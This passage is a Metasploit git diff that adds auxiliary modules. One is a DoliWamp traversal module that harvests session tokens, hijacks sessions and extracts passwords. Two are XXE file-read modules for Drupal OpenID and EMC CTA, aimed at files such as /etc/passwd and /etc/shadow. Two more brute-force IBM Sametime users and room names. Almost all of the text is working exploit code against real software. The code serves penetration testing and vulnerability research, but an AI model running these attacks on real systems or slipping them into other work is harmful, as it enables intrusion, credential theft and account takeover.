     uri << (datastore['YEAR'].to_s + "/") if datastore['YEAR'].to_s != ""
@@ -59,6 +55,8 @@ class Metasploit3 < Msf::Auxiliary
 
     res = send_request_cgi(
     {
+      'rhost'    => rhost_corpwatch,
+      'rport'    => rport_corpwatch,
       'uri'      => uri,
       'method'   => 'GET',
       'vars_get' =>
@@ -104,7 +102,7 @@ class Metasploit3 < Msf::Auxiliary
 
     elements = results.get_elements("companies")
 
-    if not elements
+    if elements.blank?
       print_error("No companies returned")
       return
     end
diff --git a/modules/auxiliary/gather/doliwamp_traversal_creds.rb b/modules/auxiliary/gather/doliwamp_traversal_creds.rb
new file mode 100644
index 0000000000..f53eef3a90
--- /dev/null
+++ b/modules/auxiliary/gather/doliwamp_traversal_creds.rb
@@ -0,0 +1,202 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Auxiliary
+  include Msf::Auxiliary::Report
+  include Msf::Exploit::Remote::HttpClient
+
+  def initialize(info = {})
+    super(update_info(
+      info,
+      'Name'           => "DoliWamp 'jqueryFileTree.php' Traversal Gather Credentials",
+      'Description'    => %q{
+          This module will extract user credentials from DoliWamp - a WAMP
+        packaged installer distribution for Dolibarr ERP on Windows - versions
+        3.3.0 to 3.4.2 by hijacking a user's session. DoliWamp stores session
+        tokens in filenames in the 'tmp' directory. A directory traversal
+        vulnerability in 'jqueryFileTree.php' allows unauthenticated users
+        to retrieve session tokens by listing the contents of this directory.
+        Note: All tokens expire after 30 minutes of inactivity by default.
+      },
+      'License'        => MSF_LICENSE,
+      'Author'         => 'Brendan Coles <bcoles[at]gmail.com>',
+      'References'     =>
+        [
+          ['URL'       => 'https://doliforge.org/tracker/?func=detail&aid=1212&group_id=144'],
+          ['URL'       => 'https://github.com/Dolibarr/dolibarr/commit/8642e2027c840752c4357c4676af32fe342dc0cb']
+        ],
+      'DisclosureDate' => 'Jan 12 2014'))
+    register_options(
+      [
+        OptString.new('TARGETURI',      [true, 'The path to Dolibarr', '/dolibarr/']),
+        OptString.new('TRAVERSAL_PATH', [true, 'The traversal path to the application tmp directory', '../../../../../../../../tmp/'])
+      ], self.class)
+  end
+
+  #
+  # Find session tokens
+  #
+  def get_session_tokens
+    tokens = nil
+    print_status("#{peer} - Finding session tokens...")
+    res = send_request_cgi({
+      'method'    => 'POST',
+      'uri'       => normalize_uri(
+        target_uri.path,
+        'includes/jquery/plugins/jqueryFileTree/connectors/jqueryFileTree.php'),
+      'cookie'    => @cookie,
+      'vars_post' => { 'dir' => datastore['TRAVERSAL_PATH'] }
+    })
+    if !res
+      print_error("#{peer} - Connection failed")
+    elsif res.code == 404
+      print_error("#{peer} - Could not find 'jqueryFileTree.php'")
+    elsif res.code == 200 and res.body =~ />sess_([a-z0-9]+)</
+      tokens = res.body.scan(/>sess_([a-z0-9]+)</)
+      num_tokens = tokens.length.to_s.gsub(/(\d)(?=(\d\d\d)+(?!\d))/) { "#{$1}," }
+      print_good("#{peer} - Found #{num_tokens} session tokens")
+    else
+      print_error("#{peer} - Could not find any session tokens")
+    end
+    return tokens
+  end
+
+  #
+  # Get user's credentials
+  #
+  def get_user_info(user_id)
+    vprint_status("#{peer} - Retrieving user's credentials")
+    res = send_request_cgi({
+      'method'    => 'GET',
+      'uri'       => normalize_uri(target_uri.path, 'user/fiche.php'),
+      'cookie'    => @cookie,
+      'vars_get'  => Hash[{
+        'action'    => 'edit',
+        'id'        => "#{user_id}"
+      }.to_a.shuffle]
+    })
+    if !res
+      print_error("#{peer} - Connection failed")
+    elsif res.body =~ /User card/
+      record = [
+        res.body.scan(/name="login" value="([^"]+)"/             ).flatten.first,
+        res.body.scan(/name="password" value="([^"]+)"/          ).flatten.first,
+        res.body.scan(/name="superadmin" value="\d">(Yes|No)/    ).flatten.first,
+        res.body.scan(/name="email" class="flat" value="([^"]+)"/).flatten.first
+      ]
+      unless record.empty?
+        print_good("#{peer} - Found credentials (#{record[0]}:#{record[1]})")
+        return record
+      end
+    else
+      print_warning("#{peer} - Could not retrieve user credentials")
+    end
+  end
+
+  #
+  # Verify if session cookie is valid and return user's ID
+  #
+  def get_user_id
+    # print_debug("#{peer} - Trying to hijack session '#{@cookie}'")
+    res = send_request_cgi({
+      'uri'       => normalize_uri(target_uri.path, 'user/fiche.php'),
+      'cookie'    => @cookie
+    })
+    if !res
+      print_error("#{peer} - Connection failed")
+    elsif res.body =~ /<div class="login"><a href="[^"]*\/user\/fiche\.php\?id=(\d+)">/
+      user_id = "#{$1}"
+      vprint_good("#{peer} - Hijacked session for user with ID '#{user_id}'")
+      return user_id
+    else
+      vprint_status("#{peer} - Could not hijack session. Session is invalid.")
+    end
+  end
+
+  #
+  # Construct cookie using token
+  #
+  def create_cookie(token)
+    # print_debug("#{peer} - Creating a cookie with token '#{token}'")
+    res = send_request_cgi({
+      'uri'       => normalize_uri(target_uri.path, 'user/fiche.php'),
+      'cookie'    => "DOLSESSID_#{Rex::Text.rand_text_alphanumeric(10)}=#{token}"
+    })
+    if !res
+      print_error("#{peer} - Connection failed")
+    elsif res.code == 200 and res.headers["set-cookie"] =~ /DOLSESSID_([a-f0-9]{32})=/
+      return "DOLSESSID_#{$1}=#{token}"
+    else
+      print_warning("#{peer} - Could not create session cookie")
+    end
+  end
+
+  #
+  # Show progress percentage
+  # Stolen from modules/auxiliary/scanner/ftp/titanftp_xcrc_traversal.rb
+  #
+  def progress(current, total)
+    done    = (current.to_f / total.to_f) * 100
+    percent = "%3.2f%%" % done.to_f
+    vprint_status("#{peer} - Trying to hijack a session - " +
+      "%7s done (%d/%d tokens)" % [percent, current, total])
+  end
+
+  #
+  # Check for session tokens in 'tmp'
+  #
+  def check
+    get_session_tokens ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe
+  end
+
+  def run
+    return unless tokens = get_session_tokens
+    credentials = []
+    print_status("#{peer} - Trying to hijack a session...")
+    tokens.flatten.each_with_index do |token, index|
+      if @cookie = create_cookie(token) and user_id = get_user_id
+        credentials << get_user_info(user_id)
+      end
+      progress(index + 1, tokens.size)
+    end
+
+    if credentials.empty?
+      print_warning("#{peer} - No credentials collected.")
+      return
+    end
+    cred_table = Rex::Ui::Text::Table.new(
+      'Header'  => 'Dolibarr User Credentials',
+      'Indent'  => 1,
+      'Columns' => ['Username', 'Password', 'Admin', 'E-mail']
+    )
+    credentials.each do |record|
+      report_auth_info({
+        :host  => rhost,
+        :port  => rport,
+        :sname => (ssl ? 'https' : 'http'),
+        :user  => record[0],
+        :pass  => record[1],
+        :source_type => 'vuln'
+      })
+      cred_table << [record[0], record[1], record[2], record[3]]
+    end
+    print_line
+    print_line("#{cred_table}")
+    loot_name     = 'dolibarr.traversal.user.credentials'
+    loot_type     = 'text/csv'
+    loot_filename = 'dolibarr_user_creds.csv'
+    loot_desc     = 'Dolibarr User Credentials'
+    p = store_loot(
+      loot_name,
+      loot_type,
+      rhost,
+      cred_table.to_csv,
+      loot_filename,
+      loot_desc)
+    print_status("Credentials saved in: #{p}")
+  end
+end
diff --git a/modules/auxiliary/gather/drupal_openid_xxe.rb b/modules/auxiliary/gather/drupal_openid_xxe.rb
new file mode 100644
index 0000000000..0f69e2fca2
--- /dev/null
+++ b/modules/auxiliary/gather/drupal_openid_xxe.rb
@@ -0,0 +1,233 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+
+require 'msf/core'
+
+
+class Metasploit3 < Msf::Auxiliary
+
+  include Msf::Exploit::Remote::HttpClient
+  include Msf::Exploit::Remote::HttpServer::HTML
+  include REXML
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'Drupal OpenID External Entity Injection',
+      'Description'    => %q{
+        This module abuses an XML External Entity Injection
+        vulnerability on the OpenID module from Drupal. The vulnerability exists
+        in the parsing of a malformed XRDS file coming from a malicious OpenID
+        endpoint. This module has been tested successfully on Drupal 7.15 and
+        7.2 with the OpenID module enabled.
+      },
+      'License'        => MSF_LICENSE,
+      'Author'         =>
+        [
+          'Reginaldo Silva', # Vulnerability discovery
+          'juan vazquez' # Metasploit module
+        ],
+      'References'     =>
+        [
+          [ 'CVE', '2012-4554' ],
+          [ 'OSVDB', '86429' ],
+          [ 'BID', '56103' ],
+          [ 'URL', 'https://drupal.org/node/1815912' ],
+          [ 'URL', 'http://drupalcode.org/project/drupal.git/commit/b912710' ],
+          [ 'URL', 'http://www.ubercomp.com/posts/2014-01-16_facebook_remote_code_execution' ]
+        ],
+      'DisclosureDate' => 'Oct 17 2012'
+    ))
+
+    register_options(
+      [
+        OptString.new('TARGETURI', [ true, "Base Drupal directory path", '/drupal']),
+        OptString.new('FILEPATH', [true, "The filepath to read on the server", "/etc/passwd"])
+      ], self.class)
+
+  end
+
+  def xrds_file
+    element_entity = <<-EOF
+<!ELEMENT URI ANY>
+<!ENTITY xxe SYSTEM "file://#{datastore['FILEPATH']}">
+    EOF
+
+    xml = Document.new
+
+    xml.add(DocType.new('foo', "[ #{element_entity} ]"))
+
+    xml.add_element(
+      "xrds:XRDS",
+      {
+        'xmlns:xrds'    => "xri://$xrds",
+        'xmlns'         => "xri://$xrd*($v*2.0)",
+        'xmlns:openid' => "http://openid.net/xmlns/1.0",
+      })
+
+    xrd = xml.root.add_element("XRD")
+
+    xrd.add_element(
+      "Status",
+      {
+        "cid" => "verified"
+      }
+    )
+    provider = xrd.add_element("ProviderID")
+    provider.text = "xri://@"
+
+    canonical = xrd.add_element("CanonicalID")
+    canonical.text = "http://example.com/user"
+
+    service = xrd.add_element("Service")
+
+    type_one = service.add_element("Type")
+    type_one.text = "http://specs.openid.net/auth/2.0/signon"
+
+    type_two = service.add_element("Type")
+    type_two.text = "http://openid.net/srv/ax/1.0"
+
+    uri = service.add_element("URI")
+    uri.text = "METASPLOIT"
+
+    local_id = service.add_element("LocalID")
+    local_id.text = "http://example.com/xrds"
+
+    return xml.to_s.gsub(/METASPLOIT/, "#{get_uri}/#{@prefix}/&xxe;/#{@suffix}") # To avoid html encoding
+  end
+
+  def check
+    signature = Rex::Text.rand_text_alpha(5 + rand(5))
+    res = send_openid_auth(signature)
+
+    unless res
+      vprint_status("#{peer} - Connection timed out")
+      return Exploit::CheckCode::Unknown
+    end
+
+    if drupal_with_openid?(res, signature)
+      return Exploit::CheckCode::Detected
+    end
+
+    if generated_with_drupal?(res)
+      return Exploit::CheckCode::Safe
+    end
+
+    return Exploit::CheckCode::Unknown
+  end
+
+  def run
+    @prefix = Rex::Text.rand_text_alpha(4 + rand(4))
+    @suffix = Rex::Text.rand_text_alpha(4 + rand(4))
+    exploit
+  end
+
+  def primer
+    res = send_openid_auth(get_uri)
+
+    if res.nil?
+      # nothing to do here...
+      service.stop
+      return
+    end
+
+    unless res.code == 500
+      print_warning("#{peer} - Unexpected answer, trying to parse anyway...")
+    end
+
+    error_loot = parse_loot(res.body)
+
+    # Check if file was retrieved on the drupal answer
+    # Better results, because there isn't URL encoding,
+    # plus probably allows to retrieve longer files.
+    print_status("#{peer} - Searching loot on the Drupal answer...")
+    unless loot?(error_loot)
+      # Check if file was leaked to the fake OpenID endpoint
+      # Contents are probably URL encoded, plus probably long
+      # files aren't full, but something is something :-)
+      print_status("#{peer} - Searching loot on HTTP query...")
+      loot?(@http_loot)
+    end
+
+    # stop the service so the auxiliary module ends
+    service.stop
+  end
+
+
+  def on_request_uri(cli, request)
+    if request.uri =~ /#{@prefix}/
+      vprint_status("#{peer} - Signature found, parsing file...")
+      @http_loot = parse_loot(request.uri)
+      return
+    end
+
+    print_status("#{peer} - Sending XRDS...")
+    send_response_html(cli, xrds_file, { 'Content-Type' => 'application/xrds+xml' })
+  end
+
+  def send_openid_auth(identifier)
+    res = send_request_cgi({
+      'uri'    => normalize_uri(target_uri.to_s, "/"),
+      'method' => 'POST',
+      'vars_get' => {
+        "q" => "node",
+        "destination" => "node"
+      },
+      'vars_post' => {
+        "openid_identifier" => identifier,
+        "name" => "",
+        "pass" => "",
+        "form_id" => "user_login_block",
+        "op" => "Log in"
+      }
+    })
+
+    return res
+  end
+
+  def store(data)
+    path = store_loot("drupal.file", "text/plain", rhost, data, datastore['FILEPATH'])
+    print_good("#{peer} - File found and saved to path: #{path}")
+  end
+
+  def parse_loot(data)
+    return nil if data.blank?
+
+    # Full file found
+    if data =~ /#{@prefix}\/(.*)\/#{@suffix}/m
+      return $1
+    end
+
+    # Partial file found
+    if data =~ /#{@prefix}\/(.*)/m
+      return $1
+    end
+
+    return nil
+  end
+
+  def loot?(data)
+    return false if data.blank?
+    store(data)
+    return true
+  end
+
+  def drupal_with_openid?(http_response, signature)
+    return false if http_response.blank?
+    return false unless http_response.code == 200
+    return false unless http_response.body =~ /openid_identifier.*#{signature}/
+    return true
+  end
+
+  def generated_with_drupal?(http_response)
+    return false if http_response.blank?
+    return true if http_response.headers['X-Generator'] and http_response.headers['X-Generator'] =~ /Drupal/
+    return true if http_response.body and http_response.body.to_s =~ /meta.*Generator.*Drupal/
+    return false
+  end
+
+
+end
+
diff --git a/modules/auxiliary/gather/eaton_nsm_creds.rb b/modules/auxiliary/gather/eaton_nsm_creds.rb
index 81c99243b9..7628a76fd0 100644
--- a/modules/auxiliary/gather/eaton_nsm_creds.rb
+++ b/modules/auxiliary/gather/eaton_nsm_creds.rb
@@ -12,12 +12,14 @@ class Metasploit3 < Msf::Auxiliary
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'Network Shutdown Module <= 3.21 (sort_values) Credential Dumper',
+      'Name'           => 'Network Shutdown Module sort_values Credential Dumper',
       'Description'    => %q{
-        This module will extract user credentials from Network Shutdown Module by exploiting
-        a vulnerability found in lib/dbtools.inc, which uses unsanitized user input inside a
-        eval() call.  Please note that in order to extract credentials,the vulnerable service
-        must have at least one USV module (an entry in the "nodes" table in mgedb.db)
+        This module will extract user credentials from Network Shutdown Module
+        versions 3.21 and earlier by exploiting a vulnerability found in
+        lib/dbtools.inc, which uses unsanitized user input inside a eval() call.
+        Please note that in order to extract credentials,the vulnerable service
+        must have at least one USV module (an entry in the "nodes" table in
+        mgedb.db).
       },
       'References'     =>
         [
diff --git a/modules/auxiliary/gather/emc_cta_xxe.rb b/modules/auxiliary/gather/emc_cta_xxe.rb
new file mode 100644
index 0000000000..814d315b16
--- /dev/null
+++ b/modules/auxiliary/gather/emc_cta_xxe.rb
@@ -0,0 +1,82 @@
+# This module requires Metasploit: http//metasploit.com/download
+##
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Auxiliary
+
+  include Msf::Exploit::Remote::HttpClient
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'EMC CTA v10.0 Unauthenticated XXE Arbitrary File Read',
+      'Description'    => %q{
+      EMC CTA v10.0 is susceptible to an unauthenticated XXE attack
+      that allows an attacker to read arbitrary files from the file system
+      with the permissions of the root user.
+      },
+      'License'        => MSF_LICENSE,
+      'Author'         =>
+        [
+          'Brandon Perry <bperry.volatile@gmail.com>', #metasploit module
+        ],
+      'References'     =>
+        [
+          ['EDB', '32623']
+        ],
+      'DisclosureDate' => 'Mar 31 2014'
+    ))
+
+    register_options(
+      [
+        Opt::RPORT(443),
+        OptBool.new('SSL', [true, 'Use SSL', true]),
+        OptString.new('SSLVersion', [true, 'SSL version', 'TLS1']),
+        OptString.new('TARGETURI', [ true, "Base directory path", '/']),
+        OptString.new('FILEPATH', [true, "The filepath to read on the server", "/etc/shadow"]),
+      ], self.class)
+  end
+
+  def run
+
+    doctype = Rex::Text.rand_text_alpha(6)
+    element = Rex::Text.rand_text_alpha(6)
+    entity = Rex::Text.rand_text_alpha(6)
+
+    pay = %Q{<?xml version="1.0" encoding="ISO-8859-1"?>
+<!DOCTYPE #{doctype} [
+<!ELEMENT #{element} ANY >
+<!ENTITY #{entity} SYSTEM "file://#{datastore['FILEPATH']}" >]>
+<Request>
+<Username>root</Username>
+<Password>&#{entity};</Password>
+</Request>
+    }
+
+    res = send_request_cgi({
+      'uri' => normalize_uri(target_uri.path, 'api', 'login'),
+      'method' => 'POST',
+      'data' => pay
+    })
+
+    if !res or !res.body
+      fail_with("Server did not respond in an expected way")
+    end
+
+    file = /For input string: "(.*)"/m.match(res.body)
+
+    if !file or file.length < 2
+      fail_with("File was unretrievable. Was it a binary file?")
+    end
+
+    file = file[1]
+
+    path = store_loot('emc.file', 'text/plain', datastore['RHOST'], file, datastore['FILEPATH'])
+
+    print_good("File saved to: " + path)
+  end
+end
+
diff --git a/modules/auxiliary/gather/ibm_sametime_enumerate_users.rb b/modules/auxiliary/gather/ibm_sametime_enumerate_users.rb
new file mode 100644
index 0000000000..f11c345847
--- /dev/null
+++ b/modules/auxiliary/gather/ibm_sametime_enumerate_users.rb
@@ -0,0 +1,306 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+
+require 'msf/core'
+require 'enumerable'
+
+class Metasploit3 < Msf::Auxiliary
+
+  include Msf::Exploit::Remote::HttpClient
+  include Msf::Auxiliary::Report
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'IBM Lotus Notes Sametime User Enumeration',
+      'Description'    => %q{
+        This module extracts usernames using the IBM Lotus Notes Sametime web
+        interface using either a dictionary attack (which is preferred), or a
+        bruteforce attack trying all usernames of MAXDEPTH length or less.
+      },
+      'Author'         =>
+        [
+          'kicks4kittens' # Metasploit module
+        ],
+      'DefaultOptions' =>
+        {
+          'SSL' => true
+        },
+      'License'        => MSF_LICENSE,
+      'DisclosureDate' => 'Dec 27 2013'
+    ))
+
+    register_options(
+      [
+        Opt::RPORT(443),
+        OptString.new('TARGETURI', [ true, 'The path to the userinfo script', '/userinfo/search']),
+         OptEnum.new('CHARSET', [true, 'Charset to use for enumeration', 'alpha', ['alpha', 'alphanum', 'num'] ]),
+        OptEnum.new('TYPE', [true, 'Specify UID or EMAIL', 'UID', ['UID', 'EMAIL'] ]),
+        OptPath.new('DICT', [ false,  'Path to dictionary file to use', '']),
+        OptInt.new('MAXDEPTH', [ true,  'Maximum depth to check during bruteforce', 2])
+      ], self.class)
+
+    register_advanced_options(
+      [
+        OptString.new('SpecialChars', [false, 'Specify special chars (e.g. -_+!@&$/\?)', '' ]),
+        OptString.new('PREFIX', [ false,  'Defines set prefix for each guess (e.g. user)', '']),
+        OptString.new('SUFFIX', [ false,  'Defines set post for each quess (e.g. _adm)', '']),
+        OptInt.new('TIMING', [ true,  'Set pause between requests', 0]),
+        OptInt.new('Threads', [ true,  'Number of test threads', 10])
+      ], self.class)
+  end
+
+  def setup
+    # setup the desired charset
+    @charset = []
+    # setup array to hold user data
+    @user_data = []
+
+    if datastore['DICT'].blank?
+      # populate charset - lowercase only as search is case insensitive
+      case datastore['CHARSET']
+      when "alpha"
+        ("a".."z").each { |alpha| @charset.push(alpha) }
+      when "num"
+        ("0".."9").each { |num| @charset.push(num) }
+      when "alphanum"
+        ("a".."z").each { |alpha| @charset.push(alpha) }
+        ("0".."9").each { |num| @charset.push(num) }
+      end
+
+      if datastore['SpecialChars']
+        datastore['SpecialChars'].chars do | spec |
+          @charset.push(Rex::Text.uri_encode(spec))
+        end
+      end
+      print_status("#{peer} - Performing Bruteforce attack")
+      vprint_status("#{peer} - Using CHARSET: [#{@charset.join(",")}]")
+    else
+      print_status("#{peer} - Performing dictionary based attack (#{datastore['DICT']})")
+    end
+
+    if datastore['DICT'].blank? and datastore['MAXDEPTH'] > 2
+      # warn user on long runs
+      print_status("#{peer} - Depth level #{datastore['MAXDEPTH']} selected... this may take some time!")
+    end
+
+    # create initial test queue and populate
+    @test_queue = Queue.new
+    if datastore['DICT'].blank?
+      @charset.each { |char| @test_queue.push(char) }
+    else
+      ::File.open(datastore['DICT']).each { |line| @test_queue.push(line.chomp) }
+      vprint_status("#{peer} - Loaded #{@test_queue.length} values from dictionary")
+    end
+
+    @depth_warning = true
+    @retries = []
+  end
+
+  def run
+    print_status("#{peer} - Testing for IBM Lotus Notes Sametime User Enumeration flaw")
+
+    # test for expected response code on non-existant uid/email
+    if datastore['TYPE'] == "UID"
+      random_val = Rex::Text.rand_text_alpha(32)
+    else
+      random_val = Rex::Text.rand_text_alpha(32) +"@"+ Rex::Text.rand_text_alpha(16) + ".com"
+    end
+
+    res = send_request_cgi({
+      'uri'     =>  normalize_uri(target_uri.path),
+      'method'  => 'GET',
+      'ctype'   => 'text/html',
+      'vars_get' => {
+        'mode' => datastore['TYPE'].downcase,
+        'searchText' => random_val
+      }
+    })
+
+    begin
+      if res.nil?
+        print_error("#{peer} - Timeout")
+        return
+      elsif res.code != 200
+        print_error("#{peer} - Unexpected response from server (Response code: #{res.code})")
+        return
+      elsif JSON.parse(res.body)
+        # valid JSON response - valid response for check
+        print_good("#{peer} - Response received, continuing to enumeration phase")
+      end
+    rescue JSON::ParserError,
+      print_error("#{peer} - Error parsing JSON: Invalid response from server")
+      return
+    end
+
+    # start test handler
+    test_handler
+
+    # ouput results
+    output_results
+  end
+
+  def test_handler
+    print_status("#{peer} - Beginning tests using #{datastore['TYPE']} search method (#{datastore['Threads']} Threads)")
+    test_length = 1 # initial test length set
+
+    until @test_queue.empty?
+      t = []
+      nt = datastore['Threads'].to_i
+      nt = 1 if nt == 0
+
+      if @test_queue.length < nt
+        # work around issue where threads not created as the queue isn't large enough
+        nt = @test_queue.length
+      end
+
+      begin
+        1.upto(nt) do
+          t << framework.threads.spawn("Module(#{self.refname})-#{rhost}", false, @test_queue.shift) do |test_current|
+            Thread.current.kill if not test_current
+
+            # provide feedback to user on current test length
+            if datastore['DICT'].blank? and test_current.length > test_length
+              test_length = test_current.length
+              print_status("#{peer} - Beginning bruteforce test for #{test_length} character strings")
+            end
+
+            res = make_request(test_current)
+
+            # check response to see if an error was returned, if so wait 1 second and retry
+            if res.nil? and not @retries.include?(test_current)
+              # attempt test again as the server was too busy to respond
+              # correctly - error returned
+              print_error("#{peer} - Error reading JSON response, attempting to redo check for \"#{test_current}\"")
+              @test_queue.push(test_current)
+              @retries << test_current
+              if @retries.length == 10
+                print_error("#{peer} - Excessive number of retries detected (#{@retries.length}... check the TIMING and Threads options)")
+              end
+            elsif res
+              # check response for user data
+              check_response(res, test_current)
+            end
+          end
+        end
+      t.each {|x| x.join }
+
+      rescue ::Timeout::Error
+      ensure
+        t.each {|x| x.kill rescue nil }
+      end
+    end
+  end
+
+  # make request and return response
+  def make_request(test_current)
+    # combine test string with PRE and POST variables
+    tstring = datastore['PREFIX'] + test_current + datastore['SUFFIX'] + "*"
+    # Apply timing information to pause between making requests - not a timeout
+    if datastore['TIMING'] > 0
+      Rex::sleep(datastore['TIMING'])
+    end
+
+    res = send_request_cgi({
+      'uri'     =>  normalize_uri(target_uri.path),
+      'method'  => 'GET',
+      'ctype'   => 'text/html',
+      'vars_get' => {
+        'mode' => datastore['TYPE'].downcase,
+        'searchText' => tstring
+      }
+    })
+  end
+
+  # check the response for valid user information
+  def check_response(res, test_current)
+    begin
+      # check response exists AND that it validates as JSON before proceeding
+      if res.code.to_i == 200 and not JSON.parse(res.body).blank?
+        # successful response - extract user data
+        extract_user(res)
+        # extend test_queue to search for further data (not if dictionary in use)
+        extend_queue(test_current) if (datastore['DICT'].blank?)
+      end
+    rescue JSON::ParserError
+      # non-JSON response - server may be overloaded
+      return error
+    end
+  end
+
+  def extract_user(res)
+    # extract user data if not already present
+    begin
+      userinfo = JSON.parse(res.body)
+      unless @user_data.flatten.include?(userinfo['uid'])
+        @user_data << [ userinfo['uid'], userinfo['mail'] || "-", userinfo['externalName'] || "-" ]
+        # print newly discovered users straight to the screen if verbose mode is set
+        vprint_good("#{peer} - New user found: #{userinfo['uid']}")
+        report_user(userinfo['uid'])
+      end
+    rescue JSON::ParserError
+      print_error("#{peer} - Error reading JSON string, continuing")
+    end
+  end
+
+  # extend the test queue if MAXDEPTH value not exceeded
+  # checks made to ensure duplicates are not created when extending
+  # process:
+  #
+  # when a user is found searching for 'a' the queue for 'a' is extended as
+  # only the first user starting with 'a' will be returned (e.g. 'aanderson')
+  # To find all users the queue must be extended by adding 'aa' through to 'az'
+  def extend_queue(test_current)
+    if test_current.length < datastore['MAXDEPTH']
+      @charset.each do | char |
+        @test_queue.push(test_current + char)
+      end
+    elsif @depth_warning and test_current.length == datastore['MAXDEPTH'] and datastore['MAXDEPTH'] > 1
+      vprint_status("#{peer} - Depth limit reached [#{datastore['MAXDEPTH']} levels deep] finishing up current tests")
+      @depth_warning = false
+    end
+  end
+
+  def report_user(username)
+    report_note(
+      :host   => rhost,
+      :port   => rport,
+      :proto  => 'tcp',
+      :sname  => 'sametime',
+      :type   => 'ibm_lotus_sametime_user',
+      :data   => "#{username}",
+      :update => :unique_data
+    )
+  end
+
+  def output_results
+    # print output table
+
+    user_tbl = Msf::Ui::Console::Table.new(
+      Msf::Ui::Console::Table::Style::Default,
+      'Header'  => "IBM Lotus Sametime Users",
+      'Prefix'  => "\n",
+      'Indent'  => 1,
+      'Columns'   =>
+      [
+        "UID",
+        "Email",
+        "CommonName"
+      ])
+
+    # populate tables
+    @user_data.each do | line |
+      user_tbl << [ line[0], line[1], line[2] ]
+    end
+
+    if not user_tbl.to_s.empty?
+      print_good("#{peer} - #{@user_data.length} users extracted")
+      print_line(user_tbl.to_s)
+    else
+      print_error("#{peer} - No users discovered")
+    end
+  end
+
+end
diff --git a/modules/auxiliary/gather/ibm_sametime_room_brute.rb b/modules/auxiliary/gather/ibm_sametime_room_brute.rb
new file mode 100644
index 0000000000..cff9af79e1
--- /dev/null
+++ b/modules/auxiliary/gather/ibm_sametime_room_brute.rb
@@ -0,0 +1,191 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+
+require 'msf/core'
+require 'enumerable'
+
+class Metasploit3 < Msf::Auxiliary
+
+  include Msf::Exploit::Remote::HttpClient
+  include Msf::Auxiliary::Report
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'IBM Lotus Notes Sametime Room Name Bruteforce',
+      'Description'    => %q{
+        This module bruteforces Sametime meeting room names via the IBM
+        Lotus Notes Sametime web interface.
+      },
+      'Author'         =>
+        [
+          'kicks4kittens' # Metasploit module
+        ],
+      'DefaultOptions' =>
+        {
+          'SSL' => true
+        },
+      'License'        => MSF_LICENSE,
+      'DisclosureDate' => 'Dec 27 2013'
+    ))
+
+    register_options(
+      [
+        Opt::RPORT(443),
+        OptString.new('OWNER', [ true,  'The owner to bruteforce meeting room names for', '']),
+        OptPath.new('DICT', [ true,  'The path to the userinfo script' ]),
+        OptString.new('TARGETURI', [ true, 'Path to stmeetings', '/stmeetings/'])
+      ], self.class)
+
+    register_advanced_options(
+      [
+        OptInt.new('TIMING', [ true,  'Set pause between requests', 0]),
+        OptInt.new('Threads', [ true,  'Number of test threads', 10])
+      ], self.class)
+  end
+
+  def run
+    print_status("#{peer} - Beginning IBM Lotus Notes Sametime Meeting Room Bruteforce")
+    print_status("Using owner: #{datastore['OWNER']}")
+
+    # test for expected response code on non-existant meeting room name
+    rval = Rex::Text.rand_text_alpha(64)
+    uri = target_uri.path
+    @reqpath = normalize_uri(uri, '/restapi')
+
+    res = send_request_cgi({
+      'uri'     =>  @reqpath,
+      'method'  => 'GET',
+      'ctype'   => 'text/html',
+      'vars_get' => {
+        'owner' => datastore['OWNER'],
+        'permaName' => rval
+        }
+    })
+
+    unless res
+      print_error("#{peer} - No response, timeout")
+      return
+    end
+
+    if res.code == 404 and res.body =~ /Room does not exist/i
+      vprint_status("#{peer} - Server responding to restapi requests as expected")
+    else
+      print_error("#{peer} - Unexpected response from server (#{res.code}). Exiting...")
+      return
+    end
+
+    # create initial test queue and populate
+    @test_queue = Queue.new
+    @output_lock = false
+
+    # TODO: If DICT is unreadable (missing, etc) this will stack trace.
+    ::File.open(datastore['DICT']).each { |line| @test_queue.push(line.chomp) }
+    vprint_status("Loaded #{@test_queue.length} values from dictionary")
+
+    print_status("#{peer} - Beginning dictionary bruteforce using (#{datastore['Threads']} Threads)")
+
+    while(not @test_queue.empty?)
+      t = []
+      nt = datastore['Threads'].to_i
+      nt = 1 if nt <= 0
+
+      if @test_queue.length < nt
+        # work around issue where threads not created as the queue isn't large enough
+        nt = @test_queue.length
+      end
+
+      begin
+        1.upto(nt) do
+          t << framework.threads.spawn("Module(#{self.refname})-#{rhost}", false, @test_queue.shift) do |test_current|
+            Thread.current.kill if not test_current
+            res = make_request(test_current)
+            if res.nil?
+              print_error("#{peer} - Timeout from server when testing room \"#{test_current}\"")
+            elsif res and res.code == 404
+              vprint_status("#{peer} - Room \"#{test_current}\" was not valid for owner #{datastore['OWNER']}")
+            else
+              # check response for user data
+              check_response(res, test_current)
+            end
+          end
+        end
+      t.each {|x| x.join }
+
+      rescue ::Timeout::Error
+      ensure
+        t.each {|x| x.kill rescue nil }
+      end
+    end
+  end
+
+  # make request and return response
+  def make_request(test_current)
+    # Apply timing information
+    if datastore['TIMING'] > 0
+      Rex::sleep(datastore['TIMING'])
+    end
+
+    res = send_request_cgi({
+      'uri'     =>  @reqpath,
+      'method'  => 'GET',
+      'ctype'   => 'text/html',
+      'vars_get' =>
+        {
+          'owner' => datastore['OWNER'],
+          'permaName' => test_current
+        }
+    })
+  end
+
+  # check the response for valid room information
+  def check_response(res, test_current)
+    begin
+      if res.code.to_i == 200
+        json_room = JSON.parse(res.body)
+        # extract room information if there is data
+        output_table(json_room, test_current) unless json_room.blank?
+      end
+    rescue JSON::ParserError
+      # non-JSON response - server may be overloaded
+      return
+    end
+  end
+
+  def output_table(room_info, test_current)
+
